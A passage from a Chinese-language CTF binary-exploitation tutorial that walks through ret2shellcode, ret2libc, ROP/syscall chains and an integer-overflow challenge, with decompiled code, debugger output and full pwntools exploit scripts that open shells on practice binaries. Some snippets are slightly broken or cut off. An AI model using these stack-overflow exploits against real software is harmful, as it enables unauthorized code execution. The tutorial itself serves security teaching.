p.sendlineafter("do you know anything?\n",payload) #需要加"\n",因为puts在程序最后加"\n"
p.interactive() # 接收shell
程序五 :ret2shellcode
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}
.text:08048590 mov [esp], eax ; s 设置到断点gets之前
.text:08048593 call _gets
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
#!/usr/bin/env python
from pwn import *
context.arch ="i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv < 2):
debug = True
else:
debug = False
if debug:
p = process('./ret2shellcode')
elf = ELF('./ret2shellcode')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
else:
p = remote('xx.xx.xx.xx',1111)
elf = ELF('./ret2shellcode')
libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
def debugf():
gdb.attach(p,"b *08048590")
debugf()
#padding = 0x64+8
#padding_ebp = 0x4
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x6c,"a") + "junk"
buf2_addr = 0x804a080
payload += p32(buf2_addr)
p.sendlineafter("No system for you this time !!!\n",payload)
p.interactive()
- 64字节shelllcode覆盖s
- 填充8字节到达main函数的ebp
- "junk"覆盖掉rbp的内容
- 将return的内容覆盖为buf2的地址字节流:p32(buf2_addr)
buf2位于bss段,如果程序开启了pie,是不能通过ida读取的。
ljust函数用于补充指定大小的字节
asm(shellcraft.sh())用于自动生成shellcode
手写shellcode
shellcode = asm(
"mov ebp,esp"
"push ebp"
"mov eax,08808188a" ;向0x08808188a传入一个bin/sh
"mov [esp],eax"
"call system"
)
- finish到main函数
- buf的内存布局
EAX 0x804a080 (buf2) ◂— 0x2f68686a
0x80485af call strncpy@plt <0x8048420>
00:0000│ esp 0xff906df0 —▸ 0x804a080 (buf2) ◂— 0x2f68686a
x/20gz 0x804a080
0x804a080 : 0x68732f2f2f68686a 0x0168e3896e69622f
0x804a090 : 0x6972243481010101 0x59046a51c9310101
- 返回地址
0x80485c6 ret <0x804a080; buf2> ==>可以看到将main返回地址覆盖成了buf2的地址
- shellcode
00:0000│ esp 0xff906e74 ◂— '/bin///sh'
01:0004│ 0xff906e70 ◂— 0x6873 /* 'sh' */
0x804a0aa int 0x80 ==> 此时中断退出
程序六 :ret2libc
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o
.text:08048618 ; __unwind { ==>main函数的地址,用以中转
.text:08048618 push ebp
.text:08048619 mov ebp, esp
.text:0804867B mov [esp], eax ; s ==>设置断点
.text:0804867E call _gets
➜ ret2libc1 checksec ret2libc1
[*] '/mnt/hgfs/ctf_debug/stack/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./ret2libc1")
elf = ELF("./ret2libc1")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./ret2libc1")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
gdb.attach(p,"b *0804867B") # 设置断点到gets之前
debugf()
binsh = 0x08048720
puts_plt = elf.plt["puts"]
'''
注意到到当前程序中有puts函数,通过plt表找到puts函数的地址以准备leak puts在libc中的地址
这里不能使用got表,got里面的地址需要call。
'''
puts_got = elf.got["puts"]
main_addr = 0x08048618
padding = 0x6c * "a"
padding_ebp = 'junk'
payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
'''
main_addr:puts_plt的返回地址
puts_got:puts_plt的参数
'''
p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4))
log.success("puts_addr : " + hex(puts_addr))
'''
调用puts函数打印puts函数在libc中的地址
libc的地址为4个字节
'''
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
'''
libc.symbol["puts"]为puts在libc中的offset
至此载入libc的基址
'''
log.success("system_addr : " + hex(system_addr))
'''
如果程序本身没有/bin/sh的话
binsh = libc.search("/bin/sh").next()
log.success("binsh : " + hex(binsh))
'''
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(system_addr) + 'junk' + p32(binsh)
'''
0x64 * "a" : 因为第二次寻址方式为ebp寻址,不用加8
这里的junk为p32(system_addr)的返回地址
'''
p.sendlineafter("RET2LIBC >_<\n",payload)
p.interactive()
- 泄露libc的地址需要使用libc中函数如puts函数的地址减去偏移量获得
- 调用puts_plt函数将puts_got的地址打印出来,puts_got的地址的地址即是libc中puts的地址
- 通过第一次溢出获得libc中puts的地址。构造一次循环,返回到main
- 通过puts的地址计算libc的地址,通过symbols从而得到system的地址
- 第二次计算padding的大小按照ebp寻址,直接为0x64,因为这时候直接返回到了ESP
- finish到main
- 查看栈布局 stack50
- main得返回地址被正确填充为puts
- 进入got的puts函数,leak出的地址信息,查看当前的栈布局
- 再次跳转回main函数,发送payload
- ebp被正确覆盖为junk,return被正确覆盖为system的地址,system函数的返回地址被覆盖为junk,参数成功覆盖成/bin/sh的地址
- 攻击脚本2(在程序段无/bin/sh的通用利用方式,向bss段写入/bin/sh)
from pwn import *
context.arch = "i386"
context.log_level = "debug"
context.terminal = ["tmux","splitw","-h"]
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./ret2libc1")
elf = ELF("./ret2libc1")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
else:
p = remote("x.x.x.x",xxxx)
elf = ELF("./ret2libc1")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
def debugf():
gdb.attach(p,"b *0804867B")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
gets_plt = elf.plt["gets"]
main_addr = 0x08048618
bss_addr = 0x0804A064
padding = 0x6c * "a"
padding_ebp = 'junk'
payload = padding + padding_ebp + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("RET2LIBC >_<\n",payload)
puts_addr = u32(p.recv(4))
log.success("puts_addr : " + hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc.address : " + hex(libc.address))
system_addr = libc.symbols["system"]
log.success("system_addr : " + hex(system_addr))
padding = 0x64 * "a"
payload = padding + padding_ebp + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)
p.sendlineafter("RET2LIBC >_<\n",payload)
p.send("/bin/sh\n")
p.interactive()
- 寻找一片空闲的bss段区域
.bss:0804A060 ; main+9↑r
.bss:0804A060 ; Alternative name is 'stdout'
.bss:0804A060 ; Copy of shared data
.bss:0804A064 completed_6591 db ? ; DATA XREF: __do_global_dtors_aux↑r
.bss:0804A064 ; __do_global_dtors_aux+14↑w
- gets_plt用于向紧接着返回地址system_addr之后的p32(bss_addr)写入数据,返回到system_addr,执行最后的p32(bss_addr)
程序七 :ret2syacall & ropchain 对于静态编译程序 ➜ speedrun ldd speedrun 不是动态可执行文件 在有栈溢出的时候,优先考虑ropchain的方法。 ret2syacall
查找字符串
.text:0000000000400B6B lea rdi, aAnyLastWords ; "c"
进入main函数
__int64 sub_400B60()
{
char buf; // [rsp+0h] [rbp-400h]
sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL);
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n");
}
索引到
__int64 sub_400BC1() ==>main函数
{
const char *v0; // rdi
sub_410590(off_6B97A0, 0LL, 2LL, 0LL); ==>setbuf
v0 = "DEBUG";
if ( !sub_40E790("DEBUG") ) ==>setenv
v0 = (const char *)5;
sub_400B4D(v0);
sub_400B60();
sub_400BAE();
return 0LL;
}
__int64 sub_400B4D() ==>puts
{
return sub_410390("Hello brave new challenger");
}
__int64 sub_400B60() ==>printf
{
char buf; // [rsp+0h] [rbp-400h]
sub_410390("Any last words?");
sub_4498A0(0, &buf, 0x7D0uLL); ==>read ,溢出点
return sub_40F710((unsigned __int64)"This will be the last thing that you say: %s\n", &buf); ==>手动添加参数buf
}
edit - keypatch修改alarm为nop,为了方便调试
根据函数的功能确定函数的类型
- 设置断点
.text:0000000000400B60 ; __unwind {
.text:0000000000400B60 push rbp
.text:0000000000400B61 mov rbp, rsp
.text:0000000000400B64 sub rsp, 400h
.text:0000000000400B6B lea rdi, aAnyLastWords ; "Any last words?"
.text:0000000000400B72 call sub_410390
.text:0000000000400B77 lea rax, [rbp+buf]
.text:0000000000400B7E mov edx, 7D0h ; count
.text:0000000000400B83 mov rsi, rax ; buf
.text:0000000000400B86 mov edi, 0 ; fd
.text:0000000000400B8B call sub_4498A0 ==>call read
.text:0000000000400B90 lea rax, [rbp+buf]
.text:0000000000400B97 mov rsi, rax ; char *
.text:0000000000400B9A lea rdi, aThisWillBeTheL ; "This will be the last thing that you sa"...
.text:0000000000400BA1 mov eax, 0
.text:0000000000400BA6 call sub_40F710
.text:0000000000400BAB nop
.text:0000000000400BAC leave
.text:0000000000400BAD retn
.text:0000000000400BAD ; } // starts at 400B60
- 搜索syscall
➜ speedrun ROPgadget --binary speedrun --only 'int'
Gadgets information
============================================================
0x000000000046817a : int 0x80
Unique gadgets found: 1
- 寻找rop链
➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rax
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret ==pop_rax_rdx_rbx_ret
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdx
0x0000000000481c76 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000044be14 : pop rdx ; pop r10 ; ret
0x0000000000481c77 : pop rdx ; pop rbx ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004498b5 : pop rdx ; ret
➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rdi
0x0000000000402615 : pop rdi ; pop rbp ; ret
0x0000000000400686 : pop rdi ; ret
➜ speedrun ROPgadget --binary speedrun --only 'pop|ret' | grep rsi
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x0000000000402613 : pop rsi ; pop r15 ; pop rbp ; ret
0x0000000000400684 : pop rsi ; pop r15 ; ret
0x000000000040f95e : pop rsi ; pop rbp ; ret
0x00000000004101f3 : pop rsi ; ret
- read一个/bin/sh
.text:00000000004498A0 ; __unwind {
.text:00000000004498A0 mov eax, cs:dword_6BC80C
.text:00000000004498A6 test eax, eax
.text:00000000004498A8 jnz short loc_4498C0
.text:00000000004498AA xor eax, eax ==>read_addr
.text:00000000004498AC syscall ; LINUX - sys_read
.bss:00000000006BB3B2 db ? ; ==>binsh_addr
.bss:00000000006BB3B3 db ? ;
.bss:00000000006BB3B4 db ? ;
.bss:00000000006BB3B5 db ? ;
- 构造rop链
payload = 0x400*'a' + 'junkjunk' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(bss_addr) + p64(pop_rdx_ret) + p64(0x10) + p64(read_addr)
payload += p64(pop_rax_rdx_ret) + p64(0x3b) + p64(0) + p64(0) + p64(pop_rdi_ret) + p64(bss_addr) + p64(pop_rsi_ret) + p64(0) + p64(syscall)
from pwn import *
context.log_level = "debug"
context.arch = 'amd64'
context.terminal =["tmux","splitw","-h"]
if len(sys.argv)<2:
debug =True
else:
debug =False
if debug:
p =process("./speedrun")
else :
p = remote("xxxx",xxx)
def debugf():
gdb.attach(p,"b * 0x4498E2")
# rax 0x3b
# rdi /bin/sh
# rsi NULL 0
# rdx NULL 0
pop_rax_rdx_rbx_ret = 0x481c76
pop_rdi_ret =0x400686
pop_rsi_ret =0x4101f3
#read_addr =0x4498A0
read_addr =0x4498AA
syscall=0x46817a
bss_addr = 0x6BB3B3
padding = 'a'*0x400
pop_rdx_ret =0x4498b5
#debugf()
payload = padding + "junkjunk" + p64(pop_rdi_ret) + p64(0) +p64(pop_rsi_ret) + p64(bss_addr) +p64(pop_rdx_ret)+p64(0x8)
# p64(0) is the para of p64(pop_rdi_ret),p64(bss_addr) is the para of p64(pop_rsi_ret)...
payload += p64(read_addr) + p64(pop_rax_rdx_rbx_ret)+p64(0x3b)+p64(0)+p64(0)+p64(pop_rdi_ret) + p64(bss_addr) +p64(pop_rsi_ret)
payload += p64(0)+p64(syscall)
p.sendafter("Any last words?\n",payload)
p.send("/bin/sh\x00")
p.interactive()
- read之后的栈布局
ropchain
ROPgadget --binary speedrun --ropchain
from pwn import *
if len(sys.argv)<2:
debug =True
else:
debug =False
if debug:
p =process("./speedrun-001")
else :
p = remote("xxxx",xxx)
def ropchanin():
from struct import pack
# Padding goes here
p = ''
p += pack(' 程序八 :整型溢出
int __cdecl main()
{
int v1; // [esp+Ch] [ebp-Ch]
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("---------------------");
puts("~~ Welcome to CTF! ~~");
puts(" 1.Login ");
puts(" 2.Exit ");
puts("---------------------");
printf("Your choice:");
__isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
login();
}
else
{
if ( v1 == 2 )
{
puts("Bye~");
exit(0);
}
puts("Invalid Choice!");
}
return 0;
}
int login()
{
char buf; // [esp+0h] [ebp-228h]
char s; // [esp+200h] [ebp-28h]
memset(&s, 0, 0x20u);
memset(&buf, 0, 0x200u);
puts("Please input your username:");
read(0, &s, 0x19u);
printf("Hello %s\n", &s);
puts("Please input your passwd:");
read(0, &buf, 0x199u);
return check(&buf);
}
char *__cdecl check(char *s)
{
char *result; // eax
char dest; // [esp+4h] [ebp-14h]
unsigned __int8 v3; // [esp+Fh] [ebp] v3的大小为8位1个字节
v3 = strlen(s); //控制s为259 ==> 0x104 ==> v3=4 (v3只取s长度的最低位)
if ( v3 <= 3u || v3 > 8u )
{
puts("Invalid Password");
result = (char *)fflush(stdout);
}
else
{
puts("Success");
fflush(stdout);
result = strcpy(&dest, s); //通过s覆盖dest ---> 覆盖返回值地址
}
return result;
}
➜ login checksec login
[*] '/mnt/hgfs/ctf_debug/stack/login/login'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- 可构造rop链
- 但是转而发现程序中提供了更简单的cat flag 函数
int sub_804868B()
{
return system("cat flag");
}
.text:0804868B sub_804868B proc near
.text:0804868B ; __unwind {
.text:0804868B push ebp
.text:0804868C mov ebp, esp
.text:0804868E sub esp, 8
.text:08048691 sub esp, 0Ch
.text:08048694 push offset command ; "cat flag"
.text:08048699 call _system
.text:0804869E add esp, 10h
.text:080486A1 nop
.text:080486A2 leave
.text:080486A3 retn
.text:080486A3 ; } // starts at 804868B
.text:080486AD push [ebp+s] ; s
.text:080486B0 call _strlen
.text:080486B5 add esp, 10h
.text:080486B8 mov [ebp+var_9], al ==>设置断点
.text:080486BB cmp [ebp+var_9], 3
from pwn import *
context.arch='i386'
context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]
if len(sys.argv)<2:
debug =True
else:
debug=False
if debug:
p=process("./login")
elf =ELF("./login")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
p=remote("Xxx.xxx.xxx.xx",xxx)
elf =ELF("./login")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def login(username,passwd):
p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:\n",username)
p.sendlineafter("Please input your passwd:\n",passwd)
def debugf():
gdb.attach(p,"b * 0x80486B8")
debugf()
cat_flag = 0x804868B
offset = 0x100+0x4
payload = 'a'*0x14 + 'junk' + p32(cat_flag)
payload = payload.ljust(offset,"a")
login("chandler",payload)
print p.recvall()
|